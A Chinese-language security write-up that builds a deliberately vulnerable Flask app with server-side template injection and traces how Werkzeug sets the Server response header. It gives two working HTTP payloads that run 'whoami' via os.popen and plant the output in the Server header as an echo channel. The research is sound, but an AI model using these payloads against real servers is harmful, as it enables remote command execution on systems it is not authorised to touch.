环境搭建
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/', methods=['POST']) def template(): if request.method == 'POST': args = request.form.get('code') try: result = render_template_string(args) print(result) return "OK" except Exception as e: print(e) return "Error rendering template" else: return "Please submit a POST request with 'code' parameter."
if __name__ == '__main__': app.run(debug=True, host='0.0.0.0', port=8000)
|
分析
注意到在Python搭建的Flask应用中,返回包中会存在Server相关的信息,而对于Werkzeug和Python的版本号肯定是通过某种处理方式写入了返回包的请求头中。

编写一个Flask-Demo,在app.run处下断点看看运行的逻辑,开始部分都是环境相关的判断,接着判断是否开启Debug模式,处理Host和Port等信息。


继续往下,会发现往options中添加了三个字段值,其中use_reloader和use_debugger的值是通过是否开启Debug模式来设置的,threaded则默认是TRUE。
接着,调用Werkzeug库启动一个WSGI服务器来运行Flask应用,并把Host、Port以及options等作为参数传入。
1 2 3
| options.setdefault("use_reloader", self.debug) options.setdefault("use_debugger", self.debug) options.setdefault("threaded", True)
|

跟进serving#run_simple函数中,依旧还是先进行一些环境、Debug模型的判断。接着调用make_server方法来创建一个WSGI服务器,并且默认是ThreadedWSGIServer。


此时已经知道了开启的Server类型,接着跟进Handler处理逻辑,在WSGIRequestHandler类中,在write方法中,通过for循环来将请求头键值对利用send_header方法进行设置。

跟进send_header方法并下断点,可以看到第一次调用send_header方法的就是设置Server头,跟进调用栈send_response方法,可以看到对Server和Date头的设置。


跟进version_string方法,可以看到这里是将server_version属性和sys_version属性直接做的拼接。

由于server_version和sys_version是以属性形式存在类中,那么就可以利用一些赋值方法来将代码或是命令执行的回显存放在这个属性中,从而结合send_header方法实现回显外带。
这里可以直接对父类BaseHTTPRequestHandler中的sys_version字段值进行修改即可。
1 2 3 4 5 6
| POST / HTTP/1.1 Host: 192.168.0.115:8000 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
code={{g.pop.__globals__.__builtins__.setattr(g.pop.__globals__.sys.modules.http.server.BaseHTTPRequestHandler,"sys_version",g.pop.__globals__.__builtins__.__import__('os').popen('whoami').read())}}
|


对于server_version的修改,可以修改WSGIRequestHandler类的server_version方法,该方法前存在装饰器@property,它把方法包装成属性,让方法可以以属性的形式被访问和调用,即此时server_version方法等同于self.server_version=self.server._server_version。
1 2 3 4 5 6
| POST / HTTP/1.1 Host: 192.168.0.115:8000 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
code={{g.pop.__globals__.__builtins__.setattr(g.pop.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,"server_version",g.pop.__globals__.__builtins__.__import__('os').popen('whoami').read())}}
|

